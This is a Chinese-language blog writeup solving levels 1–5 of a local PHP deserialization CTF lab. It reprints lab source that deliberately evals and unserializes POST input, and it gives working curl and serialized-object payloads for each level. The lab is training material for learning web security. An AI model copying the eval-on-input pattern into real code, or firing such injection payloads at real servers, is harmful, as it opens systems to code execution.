Hello CTF 从 0 开始的PHP反序列化入门靶场

This post is not yet available in English. Showing the original version.

August 25, 2025

Table of Contents
Table of Contents

Hello CTF - 从 0 开始的PHP反序列化入门靶场 writeup

Repo: github.com/ProbiusOfficial/PHPSerialize-labs 讨厌 PHP……不过也是做上了探姬老师出的题了。

部署

直接 docker 部署。

docker run -p 8081:80 -d ghcr.io/probiusofficial/phpserialize-labs

直接访问 localhost:8081 即可进入页面。

image.png


Level 1

<?php /*  
--- HelloCTF - 反序列化靶场 关卡 1 : 类的实例化 ---   
  
HINT:尝实例化下面的FLAG类吧!  
  
# -*- coding: utf-8 -*-  
# @Author: 探姬  
# @Date:   2024-07-01 20:30  
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs  
# @email:  admin@hello-ctf.com  
# @link:   hello-ctf.com  
  
*/  
  
  
class FLAG{  
    public $flag_string = "HelloCTF{????}";  
  
    function __construct(){  
        echo $this->flag_string;  
    }  
}  
  
$code = $_POST['code'];  
  
eval($code);
curl -X POST -d "code=new FLAG();" http://localhost:8081/Level1/index.php
code=new FLAG();

发送 POST 请求需要带 headerContent-Type: application/x-www-form-urlencoded

得到 flag

HelloCTF{OK_Now_y0u_c4n_se3_me}

Level 2

`<?php      /*   
--- HelloCTF - 反序列化靶场 关卡 2 : 类值的传递 ---       
HINT:尝试将flag传递出来~      
# -*- coding: utf-8 -*-   
# @Author: 探姬   
# @Date:   2024-07-01 20:30   # @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs   # @email:  admin@hello-ctf.com   
# @link:   hello-ctf.com      */      
error_reporting(0); 

$flag_string = "HelloCTF{????}";      
  
class FLAG{           
	public $free_flag = "???";   
	           
	function get_free_flag(){               
		echo $this->free_flag;           
	}       
}   
$target = new FLAG();      
$code $_POST['code'];      
if(isset($code)){          
	eval($code);       
	$target->get_free_flag();   
}   
else{    
	highlight_file('source');   
}   
	
	Now Flag is ???

一样是发送 POST 请求,但是设定好 code 后给 target 的 free_flag 修改为 $flag_string 即可。

code=new FLAG();
$target->free_flag=$flag_string;
curl -X POST -d 'code=new FLAG();
$target->free_flag=$flag_string;' http://localhost:8081/Level2/index.php
Now Flag is HelloCTF{I_giv3_t0_y0u&y0u_giv3_t0_me}

Level 3

<?php  
  
/*  
--- HelloCTF - 反序列化靶场 关卡 3 : 对象中值的权限 ---   
  
HINT:尝试将flag传递出来~  
  
# -*- coding: utf-8 -*-  
# @Author: 探姬  
# @Date:   2024-07-01 20:30  
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs  
# @email:  admin@hello-ctf.com  
# @link:   hello-ctf.com  
  
*/  
  
class FLAG{  
    public $public_flag = "HelloCTF{?";  
    protected $protected_flag = "?";  
    private $private_flag = "?}";  
  
    function get_protected_flag(){  
        return $this->protected_flag;  
    }  
  
    function get_private_flag(){  
        return $this->private_flag;  
    }  
}  
  
class SubFLAG extends FLAG{  
    function show_protected_flag(){  
        return $this->protected_flag;  
    }  
  
    function show_private_flag(){  
        return $this->private_flag;  
    }  
}  
  
$target = new FLAG();  
$sub_target = new SubFLAG();  
  
  
$code = $_POST['code'];  
  
if(isset($code)){  
    eval($code);  
} else {    highlight_file(__FILE__);  
    echo "Trying to get FLAG...<br>";  
    echo "Public Flag: ".$target->public_flag."<br>";  
    echo "Protected Flag:".$target->protected_flag ."<br>";  
    echo "Private Flag:".$target->private_flag ."<br>";  
}  
  
?>
Trying to get FLAG...  
Public Flag: HelloCTF{se3_me_  
Protected Flag: Error: Cannot access protected property FLAG:: in ?  
Private Flag: Error: Cannot access private property FLAG:: in ?  
...Wait,where is the flag?

拼接 flag,一个一个来。 Public 类是可以直接读取的。 Protected 是子类可以读取的,echo $sub_target->show_protected_flag(); 可得到。 Private 类是子类也不可读取,只能通过 PHP 特性获取。

常用的方法是,在PHP 有一个反射越权特性,可以通过构造反射类,在反射类里面设定访问权限,从而读取 private 内容。

PHP 提供了一整套强大的“反射”API,它允许程序在运行时检查自身的结构,包括类、方法、属性等,甚至可以无视 privateprotected 的限制。这是最常用、最正规的“越权”方法。 核心思想

  1. 获取这个类的反射实例 (ReflectionClass)。
  2. 从反射实例中获取私有属性的反射实例 (ReflectionProperty)。
  3. 使用 setAccessible(true) 方法,强行将这个私有属性设置为“可访问”
  4. 读取属性的值。
// 首先必须有一个 FLAG 类的具体对象
// 这个对象已经存在了,比如叫 $target
// 如果没有,需要自己 new 一个

// 获取 FLAG 类的反射
$reflection = new ReflectionClass('FLAG');

// 获取私有属性 private_flag
$property = $reflection->getProperty('private_flag');

// 设置属性为可访问
$property->setAccessible(true);

// 从这个实例中获取值,而不是从 $reflection 中获取
$secret_value = $property->getValue($target);

echo $secret_value;

从而构造 POST 的 payload:

code=new FLAG();


echo $target->public_flag;
echo $sub_target->show_protected_flag();

$reflection = new ReflectionClass('FLAG');
$property = $reflection->getProperty('private_flag');
$property->setAccessible(true);
$secret_value = $property->getValue($target);
echo $secret_value;

或者发送 curl 请求:

curl -X POST -d 'code=new FLAG();echo $target->public_flag;echo $sub_target->show_protected_flag();$reflection = new ReflectionClass('FLAG');$property =$reflection->getProperty('private_flag');$property->setAccessible(true);$secret_value = $property->getValue($target);echo $secret_value;' http://localhost:8081/Level3/index.php
HelloCTF{se3_me_4nd_g3t_mmmme}

Level 4

<?php  
  
/*  
--- HelloCTF - 反序列化靶场 关卡 4 : 序列化 ---   
  
HINT:嗯!?全是私有,怎么获取flag呢?试试序列化!  
  
# -*- coding: utf-8 -*-  
# @Author: 探姬  
# @Date:   2024-07-01 20:30  
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs  
# @email:  admin@hello-ctf.com  
# @link:   hello-ctf.com  
  
*/  
  
class FLAG3{  
    private $flag3_object_array = array("?","?");  
}  
  
class FLAG{  
     private $flag1_string = "?";  
     private $flag2_number = '?';  
     private $flag3_object;  
  
    function __construct() {       
     $this->flag3_object = new FLAG3();  
    }  
}  
  
$flag_is_here = new FLAG();  
  
  
$code = $_POST['code'];  
  
if(isset($code)){  
    eval($code);  
} else {    
	highlight_file(__FILE__);  
}

关于 PHP 反序列化的知识:

序列化 (serialize):将一个对象(或数组等)的状态,转换成一个可以存储或传输的字符串。 反序列化 (unserialize):读取序列化后的字符串,并在内存中重建出原始的对象。

序列化示例:

class SecretVault {
    private $secret_key = "CTF{...}";
    public $owner = "Alice";
}

$vault = new SecretVault();

// 把 $vault 对象序列化
$serialized_string = serialize($vault);

echo $serialized_string;

输出的字符串会是这样的:

O:10: "SecretVault":2:{s:25: " SecretVault secret_key";s:9: "CTF{...}";s:5: "owner";s:5: "Alice";}

这个字符串看起来复杂,但很有规律:

依赖这个原理,构造这样的 payload:

code=new FLAG();
echo serialize($flag_is_here);

得到(做一下切分处理,大括号拆开,分号隔行):

O:4:"FLAG":3:
{
s:18:"�FLAG�flag1_string";
s:8:"ser4l1ze";
s:18:"�FLAG�flag2_number";
i:2;
s:18:"�FLAG�flag3_object";
O:5:"FLAG3":1:{s:25:"�FLAG3�flag3_object_array";
a:2:{i:0;
s:3:"se3";
i:1;
s:2:"me";}
	}
}

把 s 开头也就是 string 全部提取出来,得到:

HelloCTF{ser4l1ze_2_se3_me}

Level 5

<?php  
  
/*  
--- HelloCTF - 反序列化靶场 关卡 5 : 序列化规则 ---   
  
HINT:各有千秋~  
  
# -*- coding: utf-8 -*-  
# @Author: 探姬  
# @Date:   2024-07-01 20:30  
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs  
# @email:  admin@hello-ctf.com  
# @link:   hello-ctf.com  
  
*/  
  
class a_class{  
    public $a_value = "HelloCTF";  
}  
$a_object = new a_class();  
$a_array = array(a=>"Hello",b=>"CTF");  
$a_string = "HelloCTF";  
$a_number = 678470;  
$a_boolean = true;  
$a_null = null;

/*See How to serialize:  
a_object: O:7:"a_class":1:{s:7:"a_value";s:8:"HelloCTF";}  
a_array: a:2:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";}  
a_string: s:8:"HelloCTF";  
a_number: i:678470;  
a_boolean: ;  
a_null: N;  
Now your turn!*/

<?php  
  
$your_object = unserialize($_POST['o']);  
$your_array = unserialize($_POST['a']);  
$your_string = unserialize($_POST['s']);  
$your_number = unserialize($_POST['i']);  
$your_boolean = unserialize($_POST['b']);  
$your_NULL = unserialize($_POST['n']);  
  
if(    
	$your_boolean &&     
	$your_NULL == null &&    
	$your_string == "IWANT" &&    
	$your_number == 1 &&    
	$your_object->a_value == "FLAG" &&    
	$your_array['a'] == "Plz" && 
	$your_array['b'] == "Give_M3"  
){  
    echo $flag;  
}  
else{  
    echo "You really know how to serialize?";  
}

答案都已经在明面上了~我们 POST 一个序列化,令其反序列化的数据等于题目所需即可。

构造 POST payload:

o=O:7:"a_class":1:{s:7:"a_value";s:4:"FLAG";}
&a=a:2:{s:1:"a";s:3:"Plz";s:1:"b";s:7:"Give_M3";}
&s=s:5:"IWANT";
&i=i:1;
&b=b:1;
&n=N;

得到:

HelloCTF{Gre4t,y0u_can_als0_ser4l1ze2se_1n_y0ur_m1nd!}

未完待续……